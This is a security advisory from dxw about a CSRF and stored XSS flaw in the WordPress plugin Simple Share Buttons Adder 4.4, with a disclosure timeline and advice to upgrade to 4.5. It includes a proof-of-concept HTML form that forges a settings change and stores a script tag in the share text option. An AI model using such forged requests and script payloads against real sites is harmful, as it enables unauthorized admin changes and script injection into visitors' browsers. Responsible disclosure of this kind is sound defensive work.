Software: Simple Share Buttons Adder
Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)
CSRF and stored XSS in Simple Share Buttons Adder 4.4
Proof of concept
<form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\">
<input type=\"hidden\" name=\"ssba_options\" value=\"save\">
<input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
<input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
<input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
<input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
Immediately upgrade to version 4.5 or greater.
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on firstname.lastname@example.org to acknowledge this report if you received it via a third party (for example, email@example.com) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5
Discovered by dxw:
Please visit security.dxw.com for more information.